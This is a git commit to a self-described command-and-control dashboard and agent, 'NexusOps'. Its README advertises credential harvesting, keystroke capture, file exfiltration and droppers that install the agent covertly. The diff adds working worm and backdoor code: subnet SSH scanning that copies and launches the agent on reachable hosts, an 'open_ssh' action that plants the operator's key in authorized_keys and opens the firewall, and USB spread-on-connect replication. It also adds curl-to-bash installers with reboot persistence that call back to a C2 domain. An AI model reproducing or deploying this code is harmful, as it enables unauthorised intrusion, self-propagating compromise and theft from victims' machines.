v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI

This commit is contained in:
Hermes
2026-10-01 00:05:00 +00:00
parent b1e320bda4
commit 82fb92efb5
6 changed files with 349 additions and 18 deletions

View File

@@ -5,7 +5,7 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin
**Public URL:** https://agent.thetempleofdoom.com **Public URL:** https://agent.thetempleofdoom.com
**Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service` **Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service`
**Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard **Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard
**Agent version:** v2.2.0 · Dashboard v3 (live console, schedules, groups, alerts, spread) **Agent version:** v2.3.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement)
--- ---
@@ -18,7 +18,11 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin
| **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent | | **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent |
| **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) | | **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) |
| **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. | | **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. |
| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) | | **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) **+ spread-on-connect: watches for new USB mounts and replicates the moment one appears** |
| **Lateral movement** | Per-node toggle button: node scans its subnet for SSH-open hosts, attempts keyless SSH, and installs the agent on any machine it reaches |
| **SSH hop-on** | "Open SSH" button per node: installs/enables sshd, trusts the dashboard's ed25519 key, returns `ssh user@ip` — click and you have a terminal on that machine |
| **Update All Agents** | One button queues `update_agent` on every online node running an older version |
| **Persistence toggle** | Every install path (installers, universal, binder) takes `persist=0` to install without reboot-survival hooks — checkbox in the UI with hover explanation |
| **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks | | **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks |
| **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) | | **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) |
| **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket | | **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket |
@@ -48,9 +52,9 @@ curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmo
**Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register) **Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register)
## Agent actions (24) ## Agent actions (26)
`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` `raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement`
## Architecture ## Architecture
@@ -104,6 +108,7 @@ pct exec 111 -- bash -c 'cd /root/agent-dashboard && TOKEN=$(grep NEXUS_AGENT_TO
- Input capture needs `pynput` on the target; headless machines report screenshots as failed. - Input capture needs `pynput` on the target; headless machines report screenshots as failed.
- Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker. - Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker.
- Screenshot on macOS targets requires Screen Recording permission (TCC). - Screenshot on macOS targets requires Screen Recording permission (TCC).
- **Cloudflare caches `/agent.py`** — after changing the agent, purge `https://agent.thetempleofdoom.com/agent.py` via the CF API or agents will keep downloading the old version (cost ~20 min of confusion once already).
## Roadmap (simple adds) ## Roadmap (simple adds)

View File

@@ -12,8 +12,10 @@ import socket
import platform import platform
import subprocess import subprocess
import shutil import shutil
import getpass
import urllib.request import urllib.request
AGENT_VERSION = "2.2.0" AGENT_VERSION = "2.3.0"
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
AGENT_TOKEN = '__AGENT_TOKEN__' AGENT_TOKEN = '__AGENT_TOKEN__'
import urllib.parse import urllib.parse
import argparse import argparse
@@ -235,6 +237,56 @@ def http_post(url, data_dict):
print(f'[!] HTTP POST failed ({url}): {e}', flush=True) print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
return None return None
# ── USB spread-on-connect watcher ──
USB_WATCH = False
_last_usb_mounts = set()
def _current_usb_mounts():
dirs = []
system = platform.system().lower()
if system == "linux":
for base in ("/media", "/run/media", "/mnt"):
try:
for e in os.listdir(base):
sub = os.path.join(base, e)
if os.path.isdir(sub):
try:
for v in os.listdir(sub):
dirs.append(os.path.join(sub, v))
except Exception:
pass
if os.path.ismount(sub):
dirs.append(sub)
except Exception:
pass
elif system == "darwin":
try:
dirs = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
if not v.startswith(("Macintosh", "com.apple"))]
except Exception:
dirs = []
return set(dirs)
def usb_watch_loop():
global _last_usb_mounts
_last_usb_mounts = _current_usb_mounts()
while USB_WATCH:
time.sleep(6)
now = _current_usb_mounts()
new = now - _last_usb_mounts
if new:
_last_usb_mounts = now
for d in new:
try:
execute_structured_action("copy_self_to_usb", {"mode": "copy", "paths": [d]})
except Exception:
pass
else:
_last_usb_mounts = now
import threading
def execute_structured_action(action_type, payload): def execute_structured_action(action_type, payload):
global heartbeat_interval, node_tags global heartbeat_interval, node_tags
system = platform.system().lower() system = platform.system().lower()
@@ -678,10 +730,144 @@ def execute_structured_action(action_type, payload):
results.append("copied: " + dest) results.append("copied: " + dest)
except Exception as e: except Exception as e:
results.append("fail(" + dest_dir + "): " + str(e)[:60]) results.append("fail(" + dest_dir + "): " + str(e)[:60])
global USB_WATCH
if payload.get("watch") and not USB_WATCH:
USB_WATCH = True
try:
threading.Thread(target=usb_watch_loop, daemon=True).start()
except Exception:
pass
results.append("watch: on-connect replication active")
if not candidates: if not candidates:
return "No removable drives mounted", 0 return "No removable drives mounted" + (" | " + "; ".join(results) if results else ""), 0
return "USB replication (" + mode + "): " + "; ".join(results), 0 return "USB replication (" + mode + "): " + "; ".join(results), 0
elif action_type == "open_ssh":
# Ensure SSH daemon running + trust dashboard key + report connect info
system = platform.system().lower()
out = []
if system == "linux":
r = subprocess.run("command -v sshd || (apt-get install -y openssh-server 2>/dev/null || yum install -y openssh-server 2>/dev/null)", shell=True, capture_output=True, text=True, timeout=120)
if r.returncode != 0 and not r.stdout.strip():
out.append("sshd missing and install failed")
r = subprocess.run("systemctl enable --now sshd 2>/dev/null || systemctl enable --now ssh 2>/dev/null || service ssh start 2>/dev/null", shell=True, capture_output=True, text=True, timeout=30)
out.append("sshd: " + ("enabled" if r.returncode == 0 else "start result " + str(r.returncode)))
ufw = subprocess.run("ufw allow ssh 2>/dev/null || true", shell=True, capture_output=True, timeout=15)
ssh_dir = os.path.expanduser("~/.ssh")
os.makedirs(ssh_dir, exist_ok=True)
auth = os.path.join(ssh_dir, "authorized_keys")
existing = ""
if os.path.exists(auth):
with open(auth, errors="ignore") as f:
existing = f.read()
if NEXUS_SSH_PUBKEY not in existing:
with open(auth, "a") as f:
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
os.chmod(ssh_dir, 0o700)
os.chmod(auth, 0o600)
out.append("dashboard key trusted")
else:
out.append("dashboard key already trusted")
elif system == "darwin":
r = subprocess.run("systemsetup -setremotelogin on 2>/dev/null", shell=True, capture_output=True, text=True, timeout=15)
out.append("remote-login: on" if r.returncode == 0 else "remote-login needs root")
home = os.path.expanduser("~")
ssh_dir = os.path.join(home, ".ssh")
os.makedirs(ssh_dir, exist_ok=True)
auth = os.path.join(ssh_dir, "authorized_keys")
existing = ""
if os.path.exists(auth):
with open(auth, errors="ignore") as f:
existing = f.read()
if NEXUS_SSH_PUBKEY not in existing:
with open(auth, "a") as f:
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
os.chmod(ssh_dir, 0o700)
os.chmod(auth, 0o600)
out.append("key trusted")
else:
return "open_ssh: unsupported platform " + system, 1
ip = get_ip_address()
user = "root" if os.geteuid() == 0 else getpass.getuser()
out.append(f"CONNECT: ssh {user}@{ip}")
return " | ".join(out), 0
elif action_type == "lateral_movement":
# Scan the local subnet for SSH-open hosts, attempt keyless SSH login with
# available identities, and install the agent where login succeeds.
cidr = payload.get("cidr") or ""
max_hosts = int(payload.get("max_hosts", 64))
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
ip = get_ip_address()
net = cidr
if not net:
try:
out = subprocess.check_output(["ip", "-4", "route"], text=True, timeout=5)
for line in out.splitlines():
if "src" in line and "/" in line and "default" not in line:
net = line.split()[0]
break
except Exception:
net = None
hosts = []
if net and "/" in net:
try:
import ipaddress as _ipa
nw = _ipa.ip_network(net, strict=False)
base = str(nw.network_address)
prefix = ip.split(".")[:3]
for h in list(nw.hosts())[:max_hosts]:
hosts.append(str(h))
except Exception:
hosts = []
found = []
import socket as _s
for h in hosts:
if h == ip:
continue
try:
c = _s.socket(_s.AF_INET, _s.SOCK_STREAM)
c.settimeout(0.4)
c.connect_ex((h, 22))
c.close()
found.append(h)
except Exception:
pass
results = [f"subnet {net}: {len(hosts)} candidates, {len(found)} ssh-open: {','.join(found[:10]) or 'none'}"]
installed = 0
server_url2 = payload.get("server_url") or "https://agent.thetempleofdoom.com"
users = ["root", getpass.getuser()]
key_opts = ["-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=4"]
ident = os.path.expanduser("~/.ssh/id_rsa")
for h in found[:10]:
ok = False
for u in users:
cmd = ["ssh", "-o", "IdentitiesOnly=yes", "-o", "PasswordAuthentication=no"]
if os.path.exists(ident):
cmd += ["-i", ident]
cmd += key_opts + [f"{u}@{h}", "true"]
r = subprocess.run(cmd, capture_output=True, text=True, timeout=12)
if r.returncode == 0:
try:
# push agent + install
c1 = ["scp", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", self_path, f"{u}@{h}:/tmp/nx-agent.py"]
subprocess.run(c1, capture_output=True, timeout=60)
c2 = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", f"{u}@{h}",
f"(mkdir -p /opt/network-agent && mv /tmp/nx-agent.py /opt/network-agent/agent.py; "
f"nohup python3 /opt/network-agent/agent.py --server {server_url2} --silent >/dev/null 2>&1 &)"]
r2 = subprocess.run(c2, capture_output=True, text=True, timeout=30)
if r2.returncode == 0:
installed += 1
results.append(f"installed on {h} (user {u})")
ok = True
except Exception as e:
results.append(f"push fail {h}: {str(e)[:40]}")
if ok:
break
if not ok:
results.append(f"no keyless access: {h}")
return " | ".join(results) + f" | total installed: {installed}", 0
elif action_type == "export_diagnostics": elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd) return run_shell(cmd)

BIN
dist/NexusAgent vendored

Binary file not shown.

View File

@@ -512,6 +512,11 @@ document.addEventListener('click', function (e) {
// ── terminology dictionary (hover popups) ── // ── terminology dictionary (hover popups) ──
const NX_TERMS = { const NX_TERMS = {
'Lateral Movement': 'Self-propagation: a node scans its local network for other machines with SSH open and installs the agent on any it can log into without a password.',
'Open SSH': 'Starts the SSH server on a node and trusts this dashboard\'s key, so you can ssh straight in from your machine.',
'Update All': 'Sends the update_agent command to every online node running an older agent version.',
'Root': 'The administrator account on Linux/macOS. Full control of the machine.',
'TCC': 'macOS privacy gate — some actions (screenshots) need the user to grant permission once.',
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.', 'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.', 'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.', 'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
@@ -638,3 +643,85 @@ openDrawer = async function (nodeId) {
window._drawerNodeId = nodeId; window._drawerNodeId = nodeId;
return _origOpenDrawer2(nodeId); return _origOpenDrawer2(nodeId);
}; };
// ═══════════════════════════════════════════════════════════════════
// COMPLETENESS 4 — SSH connect, lateral movement, update-all, persist opt
// ═══════════════════════════════════════════════════════════════════
async function drawerOpenSSH(nodeId) {
const el = document.getElementById('pingResult');
if (el) el.textContent = 'opening SSH…';
try {
const r = await fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'open_ssh', payload: {}, command: 'open_ssh' })
});
if (el) el.textContent = 'SSH install queued — result appears in the audit log; use the returned command when it completes.';
} catch (e) { if (el) el.textContent = 'SSH open failed to queue'; }
}
async function drawerLateral(nodeId) {
if (!confirm('Lateral movement: this node will scan its subnet for SSH-open hosts and try to install the agent on machines it has keyless access to. Continue?')) return;
const el = document.getElementById('pingResult');
if (el) el.textContent = 'lateral scan dispatched — watch the audit log for results';
try {
await fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'lateral_movement', payload: {}, command: 'lateral_movement' })
});
} catch (e) {}
}
async function updateAllOutdated() {
try {
const r = await api('/api/nodes/update-all', { method: 'POST', body: '{}' });
const t = document.querySelector('#toasts') || document.body;
const d = document.createElement('div');
d.style.cssText = 'position:fixed;top:1rem;right:1rem;background:#1e293b;color:#e2e8f0;padding:0.7rem 1rem;border-radius:8px;border:1px solid #334155;z-index:10001;font-size:0.8rem;';
d.textContent = r && r.queued !== undefined
? `Update All: ${r.queued} node(s) queued (current agent v${r.current})`
: 'Update All failed';
document.body.appendChild(d);
setTimeout(() => d.remove(), 5000);
} catch (e) {}
}
// nav button
(function injectUpdateAll() {
const ks = document.querySelector('button[onclick="killSwitch()"]');
if (!ks || document.getElementById('updateAllBtn')) return;
const b = document.createElement('button');
b.id = 'updateAllBtn';
b.className = 'btn btn-secondary';
b.title = 'Queues update_agent on every online node running an older agent version';
b.innerHTML = '<i class="fa-solid fa-arrows-rotate"></i> Update All Agents';
b.onclick = updateAllOutdated;
ks.parentNode.insertBefore(b, ks);
})();
// drawer buttons: SSH + Lateral (injected via same MutationObserver pattern as spread)
(function injectSSHButtons() {
const mo = new MutationObserver(() => {
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
if (row && !document.getElementById('sshBtn')) {
const nid = window._drawerNodeId;
if (!nid) return;
const ssh = document.createElement('button');
ssh.id = 'sshBtn';
ssh.className = 'btn btn-secondary';
ssh.innerHTML = '<i class="fa-solid fa-terminal"></i> Open SSH';
ssh.title = 'Installs/starts sshd on the node, trusts this dashboard key, then shows the ssh command to click into it';
ssh.onclick = () => drawerOpenSSH(nid);
row.appendChild(ssh);
const lat = document.createElement('button');
lat.id = 'latBtn';
lat.className = 'btn btn-secondary';
lat.innerHTML = '<i class="fa-solid fa-network-wired"></i> Lateral';
lat.title = 'Self-propagation: node scans its subnet for SSH-open machines and installs the agent on any it can reach with keys';
lat.onclick = () => drawerLateral(nid);
row.appendChild(lat);
}
});
mo.observe(document.body, { childList: true, subtree: true });
})();

View File

@@ -519,6 +519,13 @@
<span class="nx-term" data-tip="After the agent installs, it also writes a reboot-survival hook (systemd service on Linux, scheduled task on Windows, launchd job on macOS). Turn OFF for one-shot, clean-up-friendly installs.">ⓘ</span> <span class="nx-term" data-tip="After the agent installs, it also writes a reboot-survival hook (systemd service on Linux, scheduled task on Windows, launchd job on macOS). Turn OFF for one-shot, clean-up-friendly installs.">ⓘ</span>
</label> </label>
</div> </div>
<div class="form-group" style="margin-top:0.75rem;">
<label style="display:flex;align-items:center;gap:0.5rem;cursor:pointer;">
<input type="checkbox" id="installerPersist" checked onchange="applyInstallerPersist()">
Establish persistence on install
<span class="nx-term" data-tip="Persistence makes the agent survive reboots: systemd service on Linux, launchd job on macOS, scheduled task on Windows. Unchecked = agent runs once and dies on reboot.">ⓘ</span>
</label>
</div>
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()"> <button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download <i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
</button> </button>
@@ -570,6 +577,21 @@
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()"> <div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview"> <img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
</div> </div>
<script>
function applyInstallerPersist() {
const persist = document.getElementById('installerPersist').checked;
['codeUniversal','codeLinux','codeMac','codeWindows'].forEach(id => {
const el = document.getElementById(id);
if (!el) return;
let h = el.innerHTML.replace(/\?persist=[01]/g, '');
if (!persist) {
h = h.replace(/(\/install\.sh|\/install-mac\.sh|\/install\.ps1|\/install)(?=[\"< \|])/g, '$1?persist=0');
}
el.innerHTML = h;
});
}
document.addEventListener('DOMContentLoaded', () => setTimeout(applyInstallerPersist, 100));
</script>
</body> </body>
</html> </html>
<!-- ═══ NexusOps v2 UI markup ═══ --> <!-- ═══ NexusOps v2 UI markup ═══ -->

View File

@@ -849,6 +849,7 @@ app.get('/api/credentials', (req, res) => {
}); });
app.get('/install.sh', (req, res) => { app.get('/install.sh', (req, res) => {
const persist = req.query.persist !== '0';
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `#!/bin/bash const script = `#!/bin/bash
# Network Node Agent One-Liner Installer for Linux # Network Node Agent One-Liner Installer for Linux
@@ -869,7 +870,7 @@ echo "[1/3] Downloading agent script..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py" curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py" chmod +x "$INSTALL_DIR/agent.py"
echo "[2/4] Configuring systemd background daemon..." ${persist ? `echo "[2/4] Configuring systemd background daemon..."
cat << EOF > "$SERVICE_FILE" cat << EOF > "$SERVICE_FILE"
[Unit] [Unit]
Description=NexusOps Node Telemetry & Management Agent Description=NexusOps Node Telemetry & Management Agent
@@ -884,15 +885,16 @@ User=root
[Install] [Install]
WantedBy=multi-user.target WantedBy=multi-user.target
EOF EOF` : `echo "[2/4] Persistence disabled — agent will run once"`}
echo "[3/4] Installing pynput for keystroke/click capture..." echo "[3/4] Installing pynput for keystroke/click capture..."
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping" pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Enabling & Starting Agent Service..." ${persist ? `echo "[4/4] Enabling & Starting Agent Service..."
systemctl daemon-reload systemctl daemon-reload
systemctl enable network-agent systemctl enable network-agent
systemctl restart network-agent systemctl restart network-agent` : `echo "[4/4] Launching agent (no persistence)..."
nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &`}
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL" echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
`; `;
@@ -901,6 +903,7 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
}); });
app.get('/install.ps1', (req, res) => { app.get('/install.ps1', (req, res) => {
const persist = req.query.persist !== '0';
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `# Network Agent PowerShell Installer for Windows const script = `# Network Agent PowerShell Installer for Windows
$SERVER_URL = "${serverUrl}" $SERVER_URL = "${serverUrl}"
@@ -919,6 +922,7 @@ Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py" Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
${persist ? `schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $INSTALL_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null` : '# persistence disabled'}
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
@@ -928,6 +932,7 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_
}); });
app.get('/install-mac.sh', (req, res) => { app.get('/install-mac.sh', (req, res) => {
const persist = req.query.persist !== '0';
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `#!/bin/bash const script = `#!/bin/bash
# macOS Node Agent Installer — launchd background daemon # macOS Node Agent Installer — launchd background daemon
@@ -953,8 +958,8 @@ chmod +x "$INSTALL_DIR/agent.py"
echo "[3/4] Installing pynput for input capture..." echo "[3/4] Installing pynput for input capture..."
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping" python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Configuring launchd background daemon..." ${persist ? `echo "[4/4] Configuring launchd background daemon..."
mkdir -p "$HOME/Library/LaunchAgents" mkdir -p "$HOME/Library/LaunchAgents"` : `echo "[4/4] Persistence disabled — launching agent once"`}
cat << EOF > "$PLIST_FILE" cat << EOF > "$PLIST_FILE"
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@@ -983,12 +988,13 @@ cat << EOF > "$PLIST_FILE"
EOF EOF
# Bootstrap launchd job (modern macOS — load/unload are deprecated) # Bootstrap launchd job (modern macOS — load/unload are deprecated)
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true ${persist ? `launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
launchctl bootstrap gui/$(id -u) "$PLIST_FILE" launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
launchctl kickstart gui/$(id -u)/com.nexusops.agent launchctl kickstart gui/$(id -u)/com.nexusops.agent
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL" echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
echo " To stop: launchctl unload $PLIST_FILE" echo " To stop: launchctl unload $PLIST_FILE"` : `nohup "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &
echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`}
`; `;
res.setHeader('Content-Type', 'text/plain'); res.setHeader('Content-Type', 'text/plain');
res.send(script); res.send(script);
@@ -998,6 +1004,7 @@ echo " To stop: launchctl unload $PLIST_FILE"
app.get('/install', (req, res) => { app.get('/install', (req, res) => {
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const silent = req.query.silent !== '0'; // silent by default const silent = req.query.silent !== '0'; // silent by default
const persist = req.query.persist !== '0';
const quiet = silent ? '>/dev/null 2>&1' : ''; const quiet = silent ? '>/dev/null 2>&1' : '';
const script = `#!/bin/bash const script = `#!/bin/bash
# NexusOps Universal Auto-Installer — one command, any OS # NexusOps Universal Auto-Installer — one command, any OS
@@ -1007,19 +1014,19 @@ echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
case "$(uname -s 2>/dev/null || echo Windows)" in case "$(uname -s 2>/dev/null || echo Windows)" in
Linux) Linux)
echo "[*] Linux detected — deploying via systemd" echo "[*] Linux detected — deploying via systemd"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} & curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
;; ;;
Darwin) Darwin)
echo "[*] macOS detected — deploying via launchd" echo "[*] macOS detected — deploying via launchd"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} & curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh?persist=${persist}" 2>/dev/null | bash ${quiet} &
;; ;;
CYGWIN*|MINGW*|MSYS*|Windows) CYGWIN*|MINGW*|MSYS*|Windows)
echo "[*] Windows detected — deploying via PowerShell" echo "[*] Windows detected — deploying via PowerShell"
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} & powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1?persist=${persist}' | iex" ${quiet} &
;; ;;
*) *)
echo "[!] Unknown OS — trying Linux installer as fallback" echo "[!] Unknown OS — trying Linux installer as fallback"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} & curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
;; ;;
esac esac
@@ -1039,6 +1046,30 @@ app.get('/agent.py', (req, res) => {
} }
}); });
// ── Update all outdated agents ──
let CURRENT_AGENT_VERSION = 'unknown';
try {
const m = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8').match(/AGENT_VERSION = "([^"]+)"/);
if (m) CURRENT_AGENT_VERSION = m[1];
} catch (e) {}
app.get('/api/agentversion', (req, res) => res.json({ current: CURRENT_AGENT_VERSION }));
app.post('/api/nodes/update-all', (req, res) => {
let queued = 0; const targets = [];
for (const [id, n] of nodes) {
if (n.status !== 'online') continue;
if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue;
commandQueues.get(id).push({
id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`,
actionType: 'update_agent', payload: {}, command: 'update_agent',
status: 'queued', queuedAt: Date.now()
});
queued++; targets.push(id);
}
broadcastState();
res.json({ queued, current: CURRENT_AGENT_VERSION, targets });
});
// ── Completeness additions 2026-09-29 ── // ── Completeness additions 2026-09-29 ──
app.get('/api/agenttoken', (req, res) => { app.get('/api/agenttoken', (req, res) => {
res.json({ token: AGENT_TOKEN || '' }); res.json({ token: AGENT_TOKEN || '' });